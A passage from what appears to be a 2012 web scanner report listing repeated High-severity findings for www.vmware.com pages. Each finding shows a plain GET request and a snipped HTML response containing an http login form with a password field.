Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:59 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86267


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.21. http://www.vmware.com/cloud-computing/private-cloud/how-to-build-private-cloud.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /cloud-computing/private-cloud/how-to-build-private-cloud.html

Request

GET /cloud-computing/private-cloud/how-to-build-private-cloud.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:59 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86791


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.22. http://www.vmware.com/cloud-computing/private-cloud/private-cloud-solutions.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /cloud-computing/private-cloud/private-cloud-solutions.html

Request

GET /cloud-computing/private-cloud/private-cloud-solutions.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:00 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89390


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.23. http://www.vmware.com/cloud-infrastructure/business-critical-applications.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /cloud-infrastructure/business-critical-applications.html

Request

GET /cloud-infrastructure/business-critical-applications.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:43 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84503


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.24. http://www.vmware.com/communities/content/community_terms/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /communities/content/community_terms/

Request

GET /communities/content/community_terms/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 90998


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.25. http://www.vmware.com/company/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/

Request

GET /company/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81437


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.26. http://www.vmware.com/company/acquisitions/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/acquisitions/

Request

GET /company/acquisitions/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:50 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83134


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.27. http://www.vmware.com/company/briefing_center/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/briefing_center/index.html

Request

GET /company/briefing_center/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:52 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78520


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.28. http://www.vmware.com/company/contact/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/contact/

Request

GET /company/contact/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:49 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79535


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.29. http://www.vmware.com/company/customers/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/customers/

Request

GET /company/customers/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:50 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87939


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.30. http://www.vmware.com/company/green-at-vmware.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/green-at-vmware.html

Request

GET /company/green-at-vmware.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:51 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79486


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.31. http://www.vmware.com/company/leadership/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/leadership/

Request

GET /company/leadership/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88007


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.32. http://www.vmware.com/company/mediaresource/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/mediaresource/index.html

Request

GET /company/mediaresource/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85953


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.33. http://www.vmware.com/company/merchandise.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/merchandise.html

Request

GET /company/merchandise.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:51:51 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 75511


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.34. http://www.vmware.com/company/news/articles/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/articles/

Request

GET /company/news/articles/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 135526


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.35. http://www.vmware.com/company/news/awards.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/awards.html

Request

GET /company/news/awards.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 137667


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.36. http://www.vmware.com/company/news/releases/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/releases/

Request

GET /company/news/releases/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 135214


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.37. http://www.vmware.com/company/news/releases/vmw-accelerate-04-16-12.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/releases/vmw-accelerate-04-16-12.html

Request

GET /company/news/releases/vmw-accelerate-04-16-12.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:42 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85021


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.38. http://www.vmware.com/company/news/releases/vmw-cloud-foundry-041112.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/releases/vmw-cloud-foundry-041112.html

Request

GET /company/news/releases/vmw-cloud-foundry-041112.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:43 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83756


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.39. http://www.vmware.com/company/news/releases/vmw-earnings-q112.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/releases/vmw-earnings-q112.html

Request

GET /company/news/releases/vmw-earnings-q112.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:41 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84786


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.40. http://www.vmware.com/company/news/releases/vmw-myron-steves-04-17-12.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/releases/vmw-myron-steves-04-17-12.html

Request

GET /company/news/releases/vmw-myron-steves-04-17-12.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:42 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82129


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.41. http://www.vmware.com/company/news/releases/vmw-sliderocket-google-04-24-12.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/news/releases/vmw-sliderocket-google-04-24-12.html

Request

GET /company/news/releases/vmw-sliderocket-google-04-24-12.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:51:41 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80115


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.42. http://www.vmware.com/company/office_locations/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /company/office_locations/

Request

GET /company/office_locations/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:49 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82212


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.43. http://www.vmware.com/contact/contact_sales.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /contact/contact_sales.html

Request

GET /contact/contact_sales.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:53:10 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91532


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.44. http://www.vmware.com/end-user-computing/euc-platform.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /end-user-computing/euc-platform.html

Request

GET /end-user-computing/euc-platform.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:56 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82601


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.45. http://www.vmware.com/help/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /help/

Request

GET /help/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78820


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.46. http://www.vmware.com/help/accessibility.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /help/accessibility.html

Request

GET /help/accessibility.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:06 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88644


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.47. http://www.vmware.com/help/legal.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /help/legal.html

Request

GET /help/legal.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88582


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.48. http://www.vmware.com/help/privacy.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /help/privacy.html

Request

GET /help/privacy.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:04 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84644


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.49. http://www.vmware.com/jobs/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /jobs/

Request

GET /jobs/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
